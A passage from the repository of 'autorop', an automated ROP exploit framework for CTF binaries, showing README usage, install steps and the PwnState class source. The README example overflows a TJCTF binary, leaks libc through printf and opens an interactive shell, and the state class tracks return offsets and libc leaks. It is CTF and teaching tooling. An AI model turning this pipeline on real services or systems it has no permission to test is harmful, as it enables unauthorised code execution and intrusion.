38 | Hello! 39 | The address of "/bin/sh" is 0x804a02c 40 | The address of function "puts" is 0xf7e43da0 41 | $ wc -c /home/ctf/flag 42 | 57 /home/ctf/flag 43 | 44 | 45 | API 46 | --- 47 | 48 | Importing autorop automatically does a ``from pwn import *``, so you can use all of `pwntools' goodies `_. 49 | 50 | Central to autorop's design is the `pipeline `_. Most functions take in a ``PwnState``, and pass it on to the next function with some attributes changed. ``Pipeline`` copies\* the ``PwnState`` between each function so mutations are safe. This allows great simplicity and flexibility. 51 | 52 | See how the below example neatly manages to "downgrade" the problem from something unique, to something generic that the ``Classic`` pipeline can handle. 53 | 54 | .. code-block:: python 55 | 56 | from autorop import * 57 | 58 | BIN = "./tests/tjctf_2020/stop" 59 | 60 | 61 | def send_letter_first(tube, data): 62 | # the binary expects us to choose a letter first, before it takes input unsafely 63 | tube.sendline("A") 64 | # send actual payload 65 | tube.sendline(data) 66 | 67 | # create a starting state 68 | s = PwnState(BIN, lambda: process(BIN)) 69 | # set an overwriter function, if the buffer overflow input 70 | # is not available immediately 71 | s.overwriter = send_letter_first 72 | 73 | # use base classic pipeline, with printf for leaking 74 | pipeline = turnkey.Classic(leak=leak.Printf()) 75 | result = pipeline(s) 76 | 77 | # switch to interactive shell which we got via the exploit 78 | result.target.interactive() 79 | 80 | \* **Note**: Although most of the attributes are deep-copied, ``target`` and ``_elf`` are not. 81 | 82 | .. |docs| image:: https://readthedocs.org/projects/autorop/badge/ 83 | :target: https://autorop.readthedocs.io 84 | 85 | .. |Test status| image:: https://github.com/mariuszskon/autorop/workflows/autorop%20test/badge.svg?branch=master 86 | :target: https://github.com/mariuszskon/autorop/actions?query=workflow%3A%22autorop+test%22+branch%3Amaster 87 | 88 | .. |MIT license| image:: https://img.shields.io/badge/license-MIT-blue.svg 89 | :target: https://github.com/mariuszskon/autorop/blob/master/LICENSE 90 | 91 | Install 92 | ------- 93 | 94 | 1. Install autorop itself. You might want to be in your `python virtual environment `_. After cloning, install with pip: 95 | 96 | .. code-block:: text 97 | 98 | $ git clone https://github.com/mariuszskon/autorop && cd autorop && pip install . 99 | 100 | 2. Make sure corefiles are enabled and are plainly written to the right directory: 101 | 102 | .. code-block:: text 103 | 104 | # sysctl -w kernel.core_pattern=core.%p 105 | 106 | 3. (Optional) Install `libc-database `_ into ``~/.libc-database`` (or your own location then edit ``state.libc_database_path``). 107 | 108 | 4. All done! 109 | -------------------------------------------------------------------------------- /autorop/toplevel/PwnState.py: -------------------------------------------------------------------------------- 1 | from pwn import context, tube, ELF, os 2 | from copy import deepcopy 3 | from typing import Optional, Callable, Dict, Any 4 | from typing_extensions import Protocol 5 | from dataclasses import dataclass, field 6 | 7 | 8 | class OverwriterFunction(Protocol): 9 | def __call__(self, __t: tube, __data: bytes) -> Any: 10 | """Function which writes rop chain to the "right place" 11 | 12 | Function which writes rop chain to e.g. the return address. 13 | It might be as simple as prepending some padding, or it 14 | might need to do format string attacks. 15 | 16 | Arguments: 17 | __t: Where to write the data to. 18 | __data: The data to write at the "right place". 19 | 20 | Returns: 21 | Anything it likes, the result is ignored. 22 | """ 23 | pass 24 | 25 | 26 | class TargetFactory(Protocol): 27 | def __call__(self) -> tube: 28 | """Produce a fresh pwntools' tube of the target. 29 | 30 | Create a ``tube`` of the desired target. This may be called multiple 31 | times to try multiple different exploits. 32 | 33 | Returns: 34 | Instance of target to exploit. 35 | """ 36 | ... 37 | 38 | 39 | class LibcGetter(Protocol): 40 | def __call__(self, state: "PwnState") -> "PwnState": 41 | """Perform an operation on the state, likely getting the libc based on leaks.""" 42 | ... 43 | 44 | 45 | def default_overwriter(t: tube, data: bytes) -> None: 46 | """Function which writes data via ``t.sendline(data)``""" 47 | t.sendline(data) 48 | 49 | 50 | @dataclass 51 | class PwnState: 52 | """Class for keeping track of our exploit development.""" 53 | 54 | #: Path to the binary to exploit. 55 | binary_name: str 56 | 57 | #: What we want to exploit (can be local, or remote). 58 | #: You need to pass in something that can produce a pwntools' tube 59 | #: for the actual target. This may be called multiple times 60 | #: to try multiple exploits. 61 | target_factory: TargetFactory 62 | 63 | #: Which libc acquisition service should be used. 64 | #: ``libc.Database`` is faster, but requires local installation. 65 | #: Automatically set to ``libc.Database`` if available 66 | #: in ``libc_database_path``, otherwise ``libc.Rip``. 67 | libc_getter: Optional[LibcGetter] = None 68 | 69 | #: Name of vulnerable function in binary, 70 | #: which we can return to repeatedly. 71 | vuln_function: str = "main" 72 | 73 | #: Path to local installation of libc-database, if using it. 74 | libc_database_path: str = os.path.expanduser("~/.libc-database") 75 | 76 | #: Path to ``target``'s libc. 77 | libc: Optional[str] = None 78 | 79 | #: Base address of ``target``'s libc. 80 | libc_base: Optional[int] = None 81 | 82 | #: Offset to return address via buffer overflow. 83 | bof_ret_offset: Optional[int] = None 84 | 85 | #: Function which writes rop chain to the "right place" 86 | overwriter: OverwriterFunction = default_overwriter 87 | 88 | #: Leaked symbols of ``libc``. 89 | leaks: Dict[str, int] = field(default_factory=dict) 90 | 91 | #: Current target, if any. Produced from calling ``target_factory``. 92 | target: Optional[tube] = None 93 | 94 | #: pwntools' ``ELF`` of ``binary_name``. Please only read from it. 95 | _elf: Optional[ELF] = None 96 | 97 | def __post_init__(self) -> None: 98 | """Initialise the ``PwnState``. 99 | 100 | This initialises the state with the given parameters and default values. 101 | We also set ``context.binary`` to the given ``binary_name``, 102 | and ``context.cyclic_size`` to ``context.bytes``. 103 | """ 104 | from autorop import libc 105 | 106 | if self.libc_getter is None: 107 | if os.path.isdir(self.libc_database_path): 108 | self.libc_getter = libc.Database() 109 | else: 110 | self.libc_getter = libc.Rip() 111 | 112 | if self._elf is None: 113 | self._elf = ELF(self.binary_name) 114 | 115 | # set pwntools' context appropriately 116 | context.binary = self.binary_name # set architecture etc. automagically 117 | context.cyclic_size = context.bytes 118 | 119 | def __copy__(self) -> "PwnState": 120 | """Deep copy this state, except for ``target``.. 121 | 122 | Perform a deep copy of the state, except for ``target`` (which remains 123 | a "constant pointer" to the target connection, which of course can change). 124 | ``_elf`` is also only shallow-copied but you should not be writing to it. 125 | """ 126 | return PwnState( 127 | binary_name=self.binary_name, 128 | target_factory=self.target_factory, 129 | libc_getter=self.libc_getter, 130 | vuln_function=self.vuln_function, 131 | libc_database_path=self.libc_database_path, 132 | libc=self.libc, 133 | libc_base=self.libc_base, 134 | bof_ret_offset=self.bof_ret_offset, 135 | overwriter=self.overwriter, 136 | leaks=self.leaks.copy(), 137 | target=self.target, 138 | _elf=self._elf, 139 | ) 140 | --------------------------------------------------------------------------------